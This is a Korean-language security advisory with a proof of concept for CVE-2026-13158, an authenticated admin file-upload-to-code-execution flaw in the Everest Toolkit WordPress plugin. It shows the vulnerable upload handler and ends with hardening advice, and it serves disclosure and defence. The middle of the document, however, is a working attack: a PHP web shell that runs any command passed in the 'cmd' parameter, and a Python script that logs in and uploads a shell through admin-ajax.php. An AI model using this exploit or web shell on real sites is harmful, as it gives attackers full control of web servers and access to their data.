
Everest Toolkit WordPress 플러그인(<= 1.2.3)의 Admin+ 임의 파일 업로드에서 원격 코드 실행으로 이어지는 취약점에 대한 PoC 익스플로잇 및 기술 권고(advisory)입니다. 취약 코드 분석, Python PoC, 보안 강화 지침을 포함합니다.
CVE-2026-13158은 사이버보안 연구원 Huynh Kien Minh(MinhHK)이 발견하고 분석한 Everest Toolkit WordPress 플러그인 버전 1.2.3 이하에 영향을 미치는 인증된 Admin+ 임의 파일 업로드 취약점입니다. 이 결함은 관리자 툴킷 업로드 처리 기능에 존재하며, 업로드된 파일의 확장자와 MIME 유형에 대한 부적절한 검증으로 인해 인증된 관리자 또는 관리 권한을 가진 하위 권한 사용자가 실행 가능한 PHP 스크립트를 공개 웹 디렉터리에 직접 업로드할 수 있습니다. 미디어 또는 구성 파일 처리 루틴 중 파일 확장자 제한을 우회함으로써 공격자는 지속적인 원격 코드 실행(RCE)을 달성하고, 기반 웹 서버를 완전히 장악하며, 민감한 데이터베이스 자격 증명에 접근하고, 호스트 애플리케이션 환경 전반에 걸쳐 무단 백도어 지속성을 확립할 수 있습니다. 보안 연구원 Huynh Kien Minh은 이 취약점을 CVSS 3.1 점수 6.6(Medium)으로 검증했으며, 엄격한 파일 확장자 허용 목록, MIME 유형 검증, 공개 업로드 하위 디렉터리의 실행 권한 비활성화를 통한 즉각적인 조치를 강조했습니다.
빠른 링크: DEV.to 글에서 전체 심층 기술 권고를 읽거나 연구원의 공식 사이버보안 포트폴리오를 확인하세요.
CVE-2026-13158의 근본 원인은 Everest_Toolkit 관리자 핸들러 클래스 내의 안전하지 않은 파일 업로드 처리에서 비롯됩니다. 인증된 관리자 또는 관리 권한을 가진 사용자가 파일 업로드 엔드포인트(예: 템플릿 가져오기, 사용자 지정 아이콘 업로드, 자산 구성 루틴)를 호출할 때, 플러그인은 실행 가능한 확장자(예: .php, .php5, .phtml)에 대한 엄격한 서버 측 검증을 적용하지 못합니다.
플러그인의 관리자 파일 처리기에서:
// Vulnerable file handling routine in Everest Toolkit <= 1.2.3
public function handle_toolkit_file_upload() {
if ( ! current_user_can( 'manage_options' ) ) {
wp_die( __( 'Unauthorized access', 'everest-toolkit' ) );
}
if ( isset( $_FILES['toolkit_import_file'] ) ) {
$file = $_FILES['toolkit_import_file'];
// CRITICAL FLAW: Insufficient file type restriction check!
// Relying solely on client-side headers or unsafe overrides without checking wp_check_filetype_and_ext()
$upload_dir = wp_upload_dir();
$target_path = $upload_dir['path'] . '/' . basename( $file['name'] );
if ( move_uploaded_file( $file['tmp_name'], $target_path ) ) {
wp_send_json_success( array( 'file_url' => $upload_dir['url'] . '/' . basename( $file['name'] ) ) );
}
}
}
move_uploaded_file이 wp_check_filetype_and_ext()를 실행하거나 위험한 MIME 유형에 대해 파일 확장자를 검사하지 않고 사용자 제어 파일을 공개 wp-content/uploads/ 디렉터리에 직접 쓰기 때문에, 관리자 액세스 권한을 가진 공격자는 실행 가능한 PHP 페이로드를 업로드할 수 있습니다.
윤리적 고지: 이 개념 증명(PoC)은 보안 검증, 학술 연구 및 방어 엔지니어링 목적으로만 제공됩니다. 사전 서면 동의 없이 운영 시스템을 대상으로 한 무단 악용은 엄격히 금지됩니다.
shell.php)<?php
// CVE-2026-13158 Proof-of-Concept Payload
// Discovered & Authored by Huynh Kien Minh (MinhHK)
header('Content-Type: text/plain');
echo "=== CVE-2026-13158 RCE Verification ===\n";
echo "Host System: " . php_uname() . "\n";
echo "Current User: " . get_current_user() . "\n";
if (isset($_REQUEST['cmd'])) {
system($_REQUEST['cmd']);
}
?>
#!/usr/bin/env python3
"""
CVE-2026-13158 - Everest Toolkit <= 1.2.3 Admin+ Arbitrary File Upload PoC
Author: Huynh Kien Minh (MinhHK)
Portfolio: https://minhhk.web.app/
"""
import requests
import sys
TARGET_URL = "http://target-wordpress.local"
USERNAME = "admin"
PASSWORD = "admin_password"
session = requests.Session()
def login():
login_url = f"{TARGET_URL}/wp-login.php"
payload = {
'log': USERNAME,
'pwd': PASSWORD,
'wp-submit': 'Log In',
'redirect_to': f"{TARGET_URL}/wp-admin/",
'testcookie': '1'
}
res = session.post(login_url, data=payload)
if any('wordpress_logged_in' in cookie.name for cookie in session.cookies):
print("[+] Authenticated successfully as Admin!")
return True
print("[-] Authentication failed.")
return False
def exploit():
upload_url = f"{TARGET_URL}/wp-admin/admin-ajax.php"
files = {
'toolkit_import_file': ('poc_rce.php', '<?php system($_GET["cmd"]); ?>', 'application/x-php')
}
data = {
'action': 'everest_toolkit_file_upload'
}
res = session.post(upload_url, data=data, files=files)
if res.status_code == 200 and 'file_url' in res.text:
file_url = res.json().get('data', {}).get('file_url', '')
print(f"[+] Payload uploaded successfully! RCE URL: {file_url}?cmd=id")
else:
print("[-] Upload failed or endpoint not vulnerable.")
if __name__ == "__main__":
if login():
exploit()
wp_handle_upload 적용: 사용자 지정 move_uploaded_file 호출을 테스트 재정의를 비활성화하지 않는 표준 WordPress wp_handle_upload()로 교체하세요./wp-content/uploads/ 내에서 스크립트 실행을 방지하도록 .htaccess 또는 Nginx 규칙을 구성하세요:# Nginx Hardening Rule
location ~* ^/wp-content/uploads/.*\.php$ {
deny all;
return 403;
}
**Huynh Kien Minh (MinhHK)**은 웹 애플리케이션 취약점 분석, WordPress 생태계 감사 및 공격적 보안 연구를 전문으로 하는 정보 보안 연구원이자 소프트웨어 엔지니어입니다.
{
"@context": "https://schema.org",
"@type": "TechArticle",
"headline": "CVE-2026-13158: Everest Toolkit <= 1.2.3 Admin+ Arbitrary File Upload to Remote Code Execution",
"name": "CVE-2026-13158 Security Advisory",
"author": {
"@type": "Person",
"name": "Huynh Kien Minh",
"alternateName": "MinhHK",
"url": "https://minhhk.web.app/"
},
"datePublished": "2026-08-01",
"description": "Deep-dive technical security advisory by Huynh Kien Minh analyzing CVE-2026-13158 in Everest Toolkit <= 1.2.3 WordPress plugin.",
"about": {
"@type": "SoftwareApplication",
"name": "Everest Toolkit",
"operatingSystem": "WordPress"
},
"identifier": "CVE-2026-13158"
}
| 매개변수 | 기술 사양 |
|---|
| 취약점 식별자 | CVE-2026-13158 |
| 대상 소프트웨어 | Everest Toolkit (WordPress 플러그인) |
| 플러그인 슬러그 | everest-toolkit |
| 취약한 버전 | <= 1.2.3 |
| 취약점 클래스 | 위험한 유형의 파일 무제한 업로드 (CWE-434 / OWASP A03) |
| CVSS v3.1 점수 | 6.6 (Medium) (CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H) |
| 발견자 / 연구원 | Huynh Kien Minh (MinhHK) |
| 검증 기관 | WPScan / MITRE Corporation |
| WPScan 권고 참조 | WPScan Report f101071f-402a-40a2-bbdb-666512cd4049 |
| 연구원 포트폴리오 | https://minhhk.web.app/ |